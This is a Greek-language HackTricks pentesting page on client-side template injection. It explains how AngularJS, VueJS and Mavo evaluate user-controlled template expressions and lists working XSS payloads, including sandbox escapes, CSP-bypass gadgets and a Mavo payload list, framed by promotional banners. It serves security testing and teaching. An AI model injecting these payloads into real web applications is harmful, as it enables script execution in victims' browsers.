hacktricks/pentesting-web/client-side-template-injection-csti.md

11 KiB
Raw Blame History

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

WhiteIntel

WhiteIntel είναι μια μηχανή αναζήτησης που τροφοδοτείται από το dark web και προσφέρει δωρεάν λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν διαρρεύσει από κλέφτες κακόβουλων λογισμικών.

Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αποκλεισμών λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλα λογισμικά που κλέβουν πληροφορίες.

Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:

{% embed url="https://whiteintel.io" %}


Σύνοψη

Είναι σαν ένα Server Side Template Injection αλλά στον πελάτη. Το SSTI μπορεί να σας επιτρέψει να εκτελέσετε κώδικα στον απομακρυσμένο διακομιστή, το CSTI θα μπορούσε να σας επιτρέψει να εκτελέσετε αυθαίρετο κώδικα JavaScript στον περιηγητή του θύματος.

Η Δοκιμή για αυτήν την ευπάθεια είναι πολύ παρόμοια με την περίπτωση του SSTI, ο διερμηνευτής περιμένει ένα πρότυπο και θα το εκτελέσει. Για παράδειγμα, με ένα φορτίο όπως {{ 7-7 }}, αν η εφαρμογή είναι ευάθροτη θα δείτε ένα 0, και αν όχι, θα δείτε το αρχικό: {{ 7-7 }}

AngularJS

Το AngularJS είναι ένα δημοφιλές πλαίσιο JavaScript που αλληλεπιδρά με το HTML μέσω χαρακτηριστικών που ονομάζονται οδηγίες, μια από τις πιο γνωστές είναι το ng-app. Αυτή η οδηγία επιτρέπει στο AngularJS να επεξεργαστεί το περιεχόμενο του HTML, επιτρέποντας την εκτέλεση εκφράσεων JavaScript μέσα σε διπλές αγκύλες.

Σε περιπτώσεις όπου η είσοδος χρήστη εισάγεται δυναμικά στο σώμα HTML με ετικέτες ng-app, είναι δυνατή η εκτέλεση αυθαίρετου κώδικα JavaScript. Αυτό μπορεί να επιτευχθεί εκμεταλλευόμενος τη σύνταξη του AngularJS μέσα στην είσοδο. Παρακάτω παρουσιάζονται παραδείγματα που δείχνουν πώς μπορεί να εκτελεστεί κώδικας JavaScript:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Μπορείτε να βρείτε ένα πολύ βασικό online παράδειγμα της ευπάθειας στο AngularJS στο http://jsfiddle.net/2zs2yv7o/ και στο Burp Suite Academy

{% hint style="danger" %} Το Angular 1.6 αφαίρεσε την αμμοθεκτική ζώνη έτσι από αυτήν την έκδοση ένα φορτίο όπως {{constructor.constructor('alert(1)')()}} ή <input ng-focus=$event.view.alert('XSS')> θα πρέπει να λειτουργεί. {% endhint %}

VueJS

Μπορείτε να βρείτε μια ευάθροιστη υλοποίηση Vue στο https://vue-client-side-template-injection-example.azu.now.sh/
Λειτουργικό φορτίο: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

Και ο πηγαίος κώδικας του ευάθροιστου παραδείγματος εδώ: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

Μια πολύ καλή ανάρτηση σχετικά με το CSTI στο VUE μπορεί να βρεθεί στο https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

V3

{{_openBlock.constructor('alert(1)')()}}

Πίστωση: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Πιστώσεις: Mario Heiderich

Ελέγξτε περισσότερα payloads VUE στο https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Payload:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Περισσότερα payloads στο https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Λίστα Ανίχνευσης Βίας

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

WhiteIntel

WhiteIntel είναι μια μηχανή αναζήτησης που τροφοδοτείται από το dark web και προσφέρει δωρεάν λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν διαρρεύσει από κλέφτες κακόβουλων λογισμικών.

Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αναλήψεων λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλα λογισμικά που κλέβουν πληροφορίες.

Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:

{% embed url="https://whiteintel.io" %}

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks: